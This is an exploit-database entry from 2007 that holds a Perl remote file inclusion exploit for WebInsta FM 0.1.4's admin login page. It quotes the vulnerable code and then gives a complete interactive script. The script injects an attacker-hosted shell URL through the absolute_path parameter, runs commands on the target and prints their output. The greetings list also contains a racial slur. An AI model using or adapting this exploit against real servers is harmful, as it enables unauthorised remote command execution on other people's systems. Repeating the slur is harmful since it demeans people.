WEBInsta FM 0.1.4 login.php absolute_path Remote File Inclusion Exploit

🗓️ 23 Apr 2007 00:00:00Reported by RootType
WEBInsta FM 0.1.4 login.php Remote File Inclusion Exploi

                                                #!/usr/bin/perl
##############################################################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;_&nbsp;\&nbsp;/&nbsp;_&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;|
#&nbsp;&nbsp;&nbsp;__&nbsp;_|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|_&nbsp;__&nbsp;&nbsp;___&nbsp;&nbsp;&nbsp;_&nbsp;__&nbsp;&nbsp;&nbsp;___|&nbsp;|_
#&nbsp;&nbsp;/&nbsp;_`&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;'_&nbsp;\/&nbsp;__|&nbsp;|&nbsp;'_&nbsp;\&nbsp;/&nbsp;_&nbsp;\&nbsp;__|
#&nbsp;|&nbsp;(_|&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|&nbsp;|&nbsp;\__&nbsp;\_|&nbsp;|&nbsp;|&nbsp;|&nbsp;&nbsp;__/&nbsp;|_
#&nbsp;&nbsp;\__,&nbsp;|\___/&nbsp;\___/|_|&nbsp;|_|___(_)_|&nbsp;|_|\___|\__|
#&nbsp;&nbsp;&nbsp;__/&nbsp;|
#&nbsp;&nbsp;|___/
##############################################################################################
#INFO:
#Program&nbsp;Title&nbsp;###############################################################################
#WebInsta&nbsp;FM&nbsp;&lt;=&nbsp;0.1.4&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
#
#Description&nbsp;#################################################################################
#This&nbsp;is&nbsp;a&nbsp;basic&nbsp;file&nbsp;manager&nbsp;written&nbsp;by&nbsp;WebInsta.com
#
#Vuln&nbsp;Code&nbsp;###################################################################################
#In&nbsp;/admin/login.php:
#&nbsp;&nbsp;&nbsp;if(isset($_COOKIE['adminname'])&nbsp;&amp;&amp;&nbsp;isset($_COOKIE['adminpass'])){
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cusername&nbsp;=&nbsp;$_COOKIE['adminname'];
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cpassword&nbsp;=&nbsp;$_COOKIE['adminpass'];
#	&nbsp;&nbsp;include($absolute_path.&quot;admin/checkpass.php&quot;);
#	&nbsp;&nbsp;}
#Note:&nbsp;Register&nbsp;globals&nbsp;must&nbsp;be&nbsp;ON,&nbsp;and&nbsp;Magic&nbsp;Quotes&nbsp;must&nbsp;be&nbsp;OFF&nbsp;for&nbsp;this&nbsp;exploit&nbsp;to&nbsp;work.
#
#Script&nbsp;Download&nbsp;##############################################################################
#http://webinsta.com/cgi-bin/axs/ax.pl?http://www.webinsta.com/downloads/webinstafm.zip
#
#Original&nbsp;Advisory&nbsp;############################################################################
#http://g00ns-forum.net/showthread.php?t=8643
#
#Exploit&nbsp;#######################################################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#[c]ode&nbsp;by&nbsp;TrinTiTTY&nbsp;(2007)&nbsp;www.g00ns.net
#credz&nbsp;to&nbsp;MurderSkillz&nbsp;and&nbsp;FiSh&nbsp;for&nbsp;vulnerability
#shoutz:&nbsp;clorox,&nbsp;z3r0,&nbsp;katalyst,&nbsp;SyNiCaL,&nbsp;Nigger,&nbsp;OD,&nbsp;pr0be,&nbsp;0ptix,&nbsp;rezen&nbsp;[at]&nbsp;rezen.org,&nbsp;str0ke
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;grumpy,&nbsp;and&nbsp;everyone&nbsp;else&nbsp;at&nbsp;g00ns.net
###############################################################################################
use&nbsp;IO::Socket;

$host&nbsp;=&nbsp;@ARGV[0];
$path&nbsp;=&nbsp;@ARGV[1];
$shell&nbsp;=&nbsp;@ARGV[2];

if&nbsp;(@ARGV&nbsp;!=&nbsp;3){header();usage();exit();}
header();
print&nbsp;&quot;\n&nbsp;[!]&nbsp;Type&nbsp;'quit'&nbsp;to&nbsp;exit\n&quot;;
xpl();
sub&nbsp;xpl(){
	while&nbsp;(){
		print&nbsp;&quot;\nshell\@box\$&nbsp;&quot;;
		$command&nbsp;=&nbsp;&lt;STDIN&gt;;
		chomp($command);
		if&nbsp;($command&nbsp;=~&nbsp;/quit/i){exit();}

		$sock&nbsp;=&nbsp;IO::Socket::INET-&gt;new(PeerAddr&nbsp;=&gt;&nbsp;&quot;$host&quot;,PeerPort&nbsp;=&gt;&nbsp;&quot;80&quot;,Proto&nbsp;=&gt;&nbsp;&quot;tcp&quot;)&nbsp;||&nbsp;die&nbsp;&quot;Can't&nbsp;establish&nbsp;a&nbsp;connection\n&quot;;
		print&nbsp;$sock&nbsp;&quot;GET&nbsp;$path/admin/login.php?absolute_path=$shell?&amp;cmd=$command&nbsp;HTTP/1.1\n&quot;;
		print&nbsp;$sock&nbsp;&quot;Host:&nbsp;&quot;.$host.&quot;\n&quot;;
		print&nbsp;$sock&nbsp;&quot;User-Agent:&nbsp;Mozilla/5.0&nbsp;(Windows;&nbsp;U;&nbsp;Windows&nbsp;NT&nbsp;5.1;&nbsp;en-US;&nbsp;rv:1.8.0.6)&nbsp;Gecko/20060728&nbsp;Firefox/1.5.0.6\n&quot;;
		print&nbsp;$sock&nbsp;&quot;Accept:&nbsp;*/*\n&quot;;
		print&nbsp;$sock&nbsp;&quot;Accept-Language:&nbsp;en-us,en;q=0.5\n&quot;;
		print&nbsp;$sock&nbsp;&quot;Accept&nbsp;-Encoding:&nbsp;gzip&nbsp;,&nbsp;deflate\n&quot;;
		print&nbsp;$sock&nbsp;&quot;Accept-Charset:&nbsp;ISO-8859-1,utf-8;q=0.7,*;q=0.7\n&quot;;
		print&nbsp;$sock&nbsp;&quot;Keep-Alive:&nbsp;300\n&quot;;
		print&nbsp;$sock&nbsp;&quot;Connection:&nbsp;keep-alive\n&quot;;
		print&nbsp;$sock&nbsp;&quot;Referer:&nbsp;$host\n&quot;;
		print&nbsp;$sock&nbsp;&quot;Cookie:&nbsp;adminname=c84ejd9;adminpass=s3lm5;PHPSESSID=032b155cf082c0f28009ec65ee7986f1\n\n&quot;;
		while&nbsp;($ans&nbsp;=&nbsp;&lt;$sock&gt;){
			if&nbsp;($ans&nbsp;=~&nbsp;/&lt;b&gt;Warning&lt;\/b&gt;:(.*?)/gmi)
			{print&nbsp;&quot;\n&nbsp;[-]&nbsp;Bad&nbsp;site,&nbsp;command,&nbsp;or&nbsp;shell\n&quot;;xpl()}
			if&nbsp;($ans&nbsp;=~&nbsp;/&lt;html&gt;(.*)/i){xpl()}
			print&nbsp;$ans;
		}}}
sub&nbsp;header(){
	print&nbsp;q{
		|======================================================|
		|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WebInsta&nbsp;FM&nbsp;(RFI)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
		|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[c]oded&nbsp;by&nbsp;TrinTiTTy&nbsp;[at]&nbsp;g00ns.net&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
		|&nbsp;-----------------------------------------------------|
		|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
		|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Vulnerability&nbsp;by&nbsp;MurderSkillz&nbsp;and&nbsp;FiSh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
		|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;greetz:&nbsp;13337.org,&nbsp;rezen.org&nbsp;str0ke&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
		|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
		|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.g00ns.net&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
		|======================================================|
	}}
sub&nbsp;usage()
{
	print&nbsp;&quot;\n&nbsp;Usage:&nbsp;perl&nbsp;$0&nbsp;&lt;host&gt;&nbsp;&lt;dir&gt;&nbsp;&lt;shell&gt;&quot;;
	print&nbsp;&quot;\n&nbsp;Example:&nbsp;perl&nbsp;$0&nbsp;www.victim.com&nbsp;/pathtofm&nbsp;http://www.othersite.com/shell.txt\n\n&quot;;
}
23 Apr 2007 00:00Current
7.1High risk
Vulners AI Score7.1